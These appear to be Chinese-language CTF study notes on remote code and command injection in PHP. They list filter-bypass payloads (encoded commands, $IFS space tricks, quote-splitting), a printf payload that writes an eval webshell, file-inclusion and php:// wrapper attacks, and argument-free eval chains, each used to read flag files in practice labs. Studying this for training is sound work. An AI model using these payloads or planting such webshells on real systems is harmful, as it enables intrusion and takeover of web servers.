rce的小整理

基础原理

rce,远程代码执行漏洞,攻击者通过远程调用方式攻击计算机设备
分为 远程命令执行 ping 和 远程代码执行 evel
原因是对注入代码看守不严,执行函数处理不谨慎

1
2
3
PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()

PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()

远程代码执行

要在命令外包裹执行函数
如 eval(system(“ls”))

远程命令执行

$cmd = shell_exec( ‘ping ‘ . $target );

命令分隔符

  1. windows中
    & 1后2
    | 直接执行2(1输出作为2输入)
    %0a 换行 可以替换|
    %1a(作为.bat文件中命令分隔符)

  2. linux中
    & 任务在后台执行
    && 1成功后2
    | 1输出作为2 的命令参数
    || 1失败后2
    %0a 换行
    %0d 回车
    ;

cat /flag 查找flag
cat …

ls
ls / 显示根目录

绕过

空格

< 、<>、%20(space)、%09(tab)、$IFS$1、 ${IFS}
(IFS 內部字段分割符)

运算符

%0a绕过 |

花括号

{cat,flag} 逗号代替空格

文件名黑名单绕过

  1. 拼接:

    1
    2
    3
    $a=fla;$b=g.php;$a$b 
    需要顺序过滤 就 $b=g.php;$a=cat$IFS$1fla;$a$b;
    $a=g;cat$IFS$1fla$a.php
  2. 编码:
    base64:

    1
    2
    echo MTIzCg==|base64 -d 其将会打印123
    echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag

    hex:

    1
    echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

    oct:

    1
    2
    3
    4
    5
    $(printf "\154\163") ==>ls
    $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
    {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
    #可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
    ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
  3. 单引号 双引号 反斜杠
    ca’’t flag
    ca””t flag
    ca\t fl\ag

  4. 通配符
    cd *_is_here ;ls(此处过滤flag)

  5. 长度限制
    长度限制可以用文件构造的方式来绕过。
    linux下可以用 1>a创建文件名为a的空文件
    ls -t>test则会将目录按时间排序后写进test文件中
    sh命令可以从一个文件中读取命令来执行

  6. 内联执行
    命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的重音符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。类似的还有$(command).
    cat$IFSls
    cat$IFS$(ls)

linux 系统默认shell
bash(bourne again shell)
(/bin/bash)
(bourne shell)
(/usr/bin/sh)

ctfhub rce技能树(练习

  1. eval:

    1
    eval("cmd") (phpcode要包含;)

    ?cmd=system(“ls”); 显示当前目录
    ?cmd=system(“ls /“); 显示根目录,下有flag_13687
    ?cmd=system(“cat /flag_13687”);

  2. 文件包含

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <?php
    error_reporting(0);
    if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
    include $_GET["file"];
    } else {
    echo "Hacker!!!";
    }
    } else {
    highlight_file(__FILE__);
    }
    ?>

    shell.txt:
    <?php eval($_REQUEST['ctfhub']);?>

    过滤flag
    [get]?file=shell.txt
    [post]?ctfhub=如一题中的代码

  3. php://input

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php
    if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
    include($_GET["file"]);
    } else {
    echo "Hacker!!!";
    }
    } else {
    highlight_file(__FILE__);
    }
    ?>
    <hr>
    i don't have shell, how to get flag? <br>
    <a href="phpinfo.php">phpinfo</a>

    phpinfo中 allow_url_fopen allow_url_include 是on状态
    伪协议php://input用于执行php代码

    1
    2
    3
    4
    ?file=php://input 
    [post]<?php system("ls /;") ?>
    (需要在burpsuite中实现)
    [post]<?php system("cat /flag_28659;") ?>
  4. 读取源代码

    1
    /?file=php://filter/read=convert.base64-encode/resource=/flag
  5. 远程包含
    查询phpinfo 可以进行远程包含
    源码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php
    error_reporting(0);
    if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
    include $_GET["file"];
    } else {
    echo "Hacker!!!";
    }
    } else {
    highlight_file(__FILE__);
    }
    ?>

    过滤了flag 区分大小写
    前面同3,好像后面同3也可以直接获得答案。。。em

  6. 命令注入

  7. 0.0.1;ls
    直接cat 19275229355668.php 没有回显
    使用base64输出。。。或者上一步看源码。(原因是有一些特殊字符无法回显?

  8. 过滤cat命令
    flag_12381156977199.php
    1;$b=a;c$bt flag_12381156977199.php; 不可
    1;ca\t flag_12381156977199.php 可
    1;ca’’t flag_12381156977199.php 可

  9. 过滤空格
    见上文

  10. 过滤目录分隔符/
    1;cd flag_is_here;ls
    1;cat flag_8904735119873.php失败 要在下一层目录下查询内容
    1;cd flag_is_here;cat flag_8904735119873.php

  11. 过滤运算符 || &
    直接用分号
    如果是|base64 写成 base64 flag_146302966521437.php

  12. 综合过滤练习

    1
    2
    3
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
    $cmd = "ping -c 4 {$ip}";
    exec($cmd, $res);

    过滤|; & / cat flag ctfhub
    1%0als(%0a为url编码 不能再输入框中输入)
    1%0acd${IFS}*_is_here%0als

1%0acd${IFS}*_is_here%0ac\at${IFS}fl\ag_57542074411779.php

无参数rce

代码形式

1
2
3
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']);}
preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)
pre_match('/et|na|nt|strlen|info|path||rand|dec|bin|hex|oct|pi|exp|log/i', $code))

preg_replace 只允许剩下小写字母,不能携带参数
((?R)?) 表示递归整个匹配模式
preg_match 过滤不带参数的函数

常使用函数

构造点

localeconv():返回包含本地数字及货币格式信息的数组(数组第一项为 . 第二项为 .. )
current():返回数组中的当前单元,默认取第一个
pos() 同 current()
所以 current(localeconv()) 为 .

localtime() 接收参数 第一个参数直接接收time()
pos(localtime(time())) 获取第一个参数 即系统当前秒数
ord(hebrevc(crypt(phpversion()))) 获得46
chr(46)=’.’

end() 将内部指针指向最后一个单元
prev() 内部指针倒回一位
reset() 内部指针指向第一个单元

each() 返回数组中当前键/值 并将数组指针前移一步
next() 数组内部指针前移

chdir() 将内部指针向前移动一位( chdir(..) 即把目录切换至上一级

key() 取得键名

array_reverse() 相反元素顺序返回数组
array_rand() 从数组随机取出一个或多个单元 刷新+少量元素使用
array_flip() 交换数组键值

session_id() 获取当前的session id
配合使用session_id(session_start()) 手动设置 phpsession cookie 为 flag.php

file_get_contents()
readfile() + echo()
readgzfile()
highlight_file()
show_source()
读取源码

更多
getchwd() 函数返回当前工作目录。
dirname() 函数返回路径中的目录部分。
array_slice() 函数在数组中根据条件取出一段值,并返回
hex2bin — 转换十六进制字符串为二进制字符串
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)

步骤

  1. 看过滤了什么
    var_dump(get_defined_functions());

具体环境的一些别的方法:
apache:
getallheaders():获取全部http请求头信息
步骤一 var_dump(getallheaders()) 通过头部传入恶意数据
步骤二 eval(current(getallheaders()))取出

gninx:
get_defined_vars():返回由所有已定变量所组成的数组

具体参考
https://www.cnblogs.com/wangtanzhi/p/12311239.html